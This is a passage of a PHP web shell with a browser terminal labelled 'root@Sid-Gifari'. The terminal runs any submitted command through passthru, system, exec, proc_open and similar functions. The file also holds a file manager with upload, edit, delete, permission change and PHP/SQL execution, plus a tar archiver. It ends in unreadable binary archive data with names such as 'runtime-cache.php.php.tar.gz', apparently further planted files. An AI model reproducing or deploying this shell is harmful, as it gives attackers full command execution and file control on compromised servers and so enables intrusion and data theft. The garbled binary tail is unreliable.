    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     -a]8IQ  Q    runtime-cache.php.php.tar.gznu [              Tn@3_KI[OU߬j%lc.bioq"UE 9gUz~gm]5K`RBRvń۴{$gN/5l(~?3p(?hof0IcΚjH
ؘ\+HtC<CWb&2b臁XW8޾q,]7%-E݇ T|_ŎK	B9א:v9F3Ӽ>8\@]䡭CeJV%^y7Q@GI44MGӱ̮M \:;q`	YHa0ɥAtQW`$Rf^hyϕ*ZRC߁>	`W U2ICWl=X	bwV͈PQeհȼE'0
dfz$7Toq͚dPz*Ilwl]M<TI+Pju7=b;ތ;$Ԥ[./o4g;w	$ 
  PK     -a]{?RF F   364262.tar.gznu [              @W8VpV @A#"$(Q{kպ,)Zw[[{TYW<s=s=s=Nuk?;Igԡ2htJ	@b#x_ME?~נku;׶N:VL)7jbfP tuFo.DV\&FX!M&D5d^fM* khLDP i-_&__Ѩ7:e%8ڿZ.DM^2C0Y !&Biq"a~#"hr@=Am$djN&r؅ nQ7' FF&YI{+OE$DF&!`D2P%biŐ\W0Y6֗*9Y&6Ld0pOEbP$HK@."J} l!hl
rIl D7:PɃ)nxSȤTQ`@b:\U۳+ DKA0sL!0,' vW/DJW
4լ7e2J<!M@%@HvnAlVU(Ka~:YRoQSO] Ah VRFXPDlG;IAhgX53{BzbI^!R)N"5<;m!(jLnO(tdBv«=5*4zx8_#";</\Mj߱9sBRI}+cc1/MvҮ؈Y	UNslϨ.S9 cc.g5g)ov,+vdTLtl>|cGZ> c&3[^1bc'g31ԷХׇ.X*L}2V𾑭sLUlvLIVl>tcr	511ɱϱcc6@e9riŚM+6;WrlzVUlV,q_
@vlqpul\bk.Zb<E.N]x@+: {s =V,PfX+;VZlCSA@+hb 1 w}茊 5s2i@~iׇ.,RdcEz*VVT|Sbst#H[+]1e.ШAbo~0"1Pdcq:TlD 4$6]_w$|f%4Y.bŮ C7eeA9} TiclÊ @AcbcCŷ1Ѡ	2Isǂ3*@+8V9 owlֿ;L"䊭DyN\Ǵ4{t}r@2(rZsYԊHUN9(%P"Tou7!@Usr4s̫\¨!lWlJL5~@1tܢǜ/*q{WhŠUW| v4Tp
c*Wlƨvߠ/Znc *v"h6G|yM8rxZDHu6 UM8	2h\@KC[gWl!gtrLp 9ؚv+5kqL,Z׳Aht6|xfZ;V(^79ܿct;BD@ХF|@u֎RŎEiGF;&uSXcVߊNa{k+[+6
+ֱA-aEեb}EPS5=6xsHNc4S22;2WG[2ɱPlY"6;+_FX2*y>9W.jbbs±߭naQ~Fk}[nXWV$1-aŔ`--XXѤ)?gc,Ow|ȮI@^uLDD8iH4_+ 5(	ٚva`hYAVy1bix=4?se5iE!L/3 4o^ŶtׇSW,=br@Xs̐bGctvLiRP~=ǜڊMaց1/D$=X <x@ʥykM@ Ct@5_0YZ U^$r<`QB(޶(o 15'b6TYBQ4l+t8ѥ:CP_nq쬜RTXX) cbg#S~
cNvE8@M=KC[ԕb+8V imG:&9ƵsekH#,}73 +|^tbsT~EJ\ wv9'X R*Xqk	DuXjȎaK&1t?#Ml91Pe[gTlR9bk݁ˇA)rzcnc0̂Tؐ:gX; ٦Y30C
w{#K[8ƱsANxCM`̤C\ª[>5*"b`0GLtIw }Y	63cLcJi3 u|Rri
L}`3 3z96 @]T1bSz i`рV Fei*u+
8,bI2$4#jc_Ų:eg9T86;VTLv,Q+v5HKK&=q;v, zVwL;tccc~БKŹ b1ˈ~dH"Lgp̑g&h/+涵#lQs(6'$yĲJP
Q 3b#X)u& 6m6'4B$CZԨ	A^]/~;̬&Ql4ADB4Z29OaY\̼$B>;3%':i2{ޫrl2#FVX
VP ZF$0kb˂b~]r2A%6jv	$I 	дPʃ@`Ca0J@H@>E!5:H;H0"1 :$7rZdrآ1BZ@¬HY.ESW~UhGjXD4~f3`&A)J^AZqP6F;Z
am![3gn^J1VФ.CX>଑ sF@nҀT'(V%ujϺ:1	Rp9:*n BJN,NYKe(jһS-T /` jRF7dH|4bɪ74wb̅Jt`^x`Rz)6+$50[k!$P"U^ip/b">##·PVE,W(3" =YtjV5paCLN`s^?LF@T/VQ;
Z J
'!Pl12TFu\8@Yl7lȘ"L&  1ꭀ&3=z=|b@+dǳy47)Ći8ujD}
A -hh~}Ϻ94'N!<y/t Nx0!1<z $ b	8!D k@F@4x!>W^yIlL+,:)"
riR5(D ?#9aFbܿXWȪ/odw ,`@6KR8 s)ٔ
:XVk1-	f_	Bh`4_ @RL*ֹCEtAk00Hmr+;
ks㋪ػ6<;FP֕KrgkiԺbLG0ȍZ'jl*D'ATF4R~ȳ[pA5]Aq=[<B	&8QYzi܌E		ɮ5j)ЉtŞ 55d 2= JFlZPq`/&r)<Jj0פ<jFsy Q,5y'ҚR]@@9 fp̜+:Ϭ,+BrfXuPLbb<P!
}DBtVKaytL:F$Lz`EhkzZi'՚ڴ&YM׾5'54QsM3	[rs1h`6cB4(PGljФg#ص%)pQ>>Pb.f#&E:/z8R>H	@_4@%LtXi+ޙ#?0x[@Oc (x@`G (kR!fST4JNH/e@<z؈F רt|\@~x{jh\:M@D; tGU0/m'SA]0KJ?:ģ~;	jAoRê{f3|F%c@qjsl)  &~D%۴ \W@VrBaUAuU@S!B
Q4BAJ)4*(U@@]֙(@o z9N]MPH5z'Kળ"TdDQpWo&$-:7Yfb?8Q=
}aX@z*`-14 $4U+6 LTяLc
C.e $K*Zao@ӖrLD==a;drB#ILTI@>7Z*jЫT! ^xMSEZE	sTVB ?(LG+*0td7G$Q
&QNBr%tjߠzuE0 U)Od0jyy0+;#=dGP@t!x,2zF f3YWP7Æ}!>Ł:7> VBg$K{O
~{$g@j/ 謊 |"m*4ND&DsrvRZ7<Jv Q*Qi20ә,B 2ٝs(\0(鴋͸PAn]re!R-=?n@:=16Wipc_ƾ:٤7p7_JjP!1$WYmHg[8(Hv@RbKKpAL0TF"&0bZ6"PC a ZG ȉ<O7YK"0L
B~
Q!&6S4D+XQXCP]!FngAq@ԈaA$2 @I"x !{hdD,ѻOB>Q8gn6Ib6isHTK"s` A+7 ڙblL@@,7!V
ʍ΅A4̆ID@CaR`[~a`i ϋnrJ3=H\	@6' :lR6'!}ɽ䵂b-Z[L&+ZO٥VೋbGz"7rxUSGE"U2aDF b!H<1tڬ K
vte,K3mq` BF.}V/݅fjY9bgyiFށs.XvPDJwBNqnHsnHI-*K,r0W0[[Ĉ.\3Jsl4?weڲ4aL"CڠFP4v"xcEb< #CƑZV~:*@o)'qlј?zkX*h1nEJB!*{bjR]=yboyǰTp7jHjΪYB3ܽPх:55B3תhhB2I5L(k`DV фT}gH~m](-$!@9_>a
Qd7g˽.Āʏm٢-R,F4j\
D/rjm!8Ajh:;/ $$3	PDʡY` L.*9ɀb:"CI$ع,Aa ;[i>)lUf>g]YFN-7"/$n+-8個@n/ plvV7AIUQ)H@Ϲ0<Xݳtp
	(W)⶷'A@KJ1фr7AAn-
